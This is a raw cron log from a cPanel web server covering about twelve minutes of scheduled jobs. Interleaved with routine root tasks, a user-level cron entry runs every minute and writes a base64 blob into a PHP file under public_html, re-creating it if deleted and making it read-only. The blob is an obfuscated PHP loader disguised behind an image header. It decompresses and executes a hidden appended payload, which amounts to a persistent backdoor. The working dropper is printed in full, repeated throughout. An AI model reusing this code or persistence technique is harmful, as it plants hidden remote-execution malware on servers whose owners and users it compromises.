Sep  7 15:18:01 server CROND[15156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:18:01 server CROND[15158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:18:01 server CROND[15159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:19:01 server CROND[15539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:19:01 server CROND[15540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:19:01 server CROND[15541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:20:01 server CROND[15931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:20:01 server CROND[15933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:20:01 server CROND[15934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:20:01 server CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 15:20:01 server CROND[15945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:20:01 server CROND[15940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:20:01 server CROND[15938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:20:01 server CROND[15946]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:20:01 server CROND[15949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:21:01 server CROND[16766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:21:01 server CROND[16767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:21:01 server CROND[16768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:22:01 server CROND[17169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:22:01 server CROND[17168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:22:01 server CROND[17171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:23:01 server CROND[17660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:23:01 server CROND[17661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:23:01 server CROND[17662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:24:01 server CROND[18123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:24:01 server CROND[18124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:24:01 server CROND[18125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:25:01 server CROND[18514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:25:01 server CROND[18516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:25:01 server CROND[18517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:25:01 server CROND[18522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:25:01 server CROND[18524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:25:01 server CROND[18521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:25:01 server CROND[18520]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 15:26:01 server CROND[19340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:26:01 server CROND[19341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:26:01 server CROND[19342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:27:01 server CROND[19719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:27:01 server CROND[19720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 15:27:01 server CROND[19721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:27:01 server CROND[19722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:28:01 server CROND[20219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:28:01 server CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:28:01 server CROND[20222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:29:01 server CROND[20603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:29:01 server CROND[20604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 15:29:01 server CROND[20605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:30:01 server CROND[20998]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 15:30:01 server CROND[20999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 15:30:01 server CROND[21001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
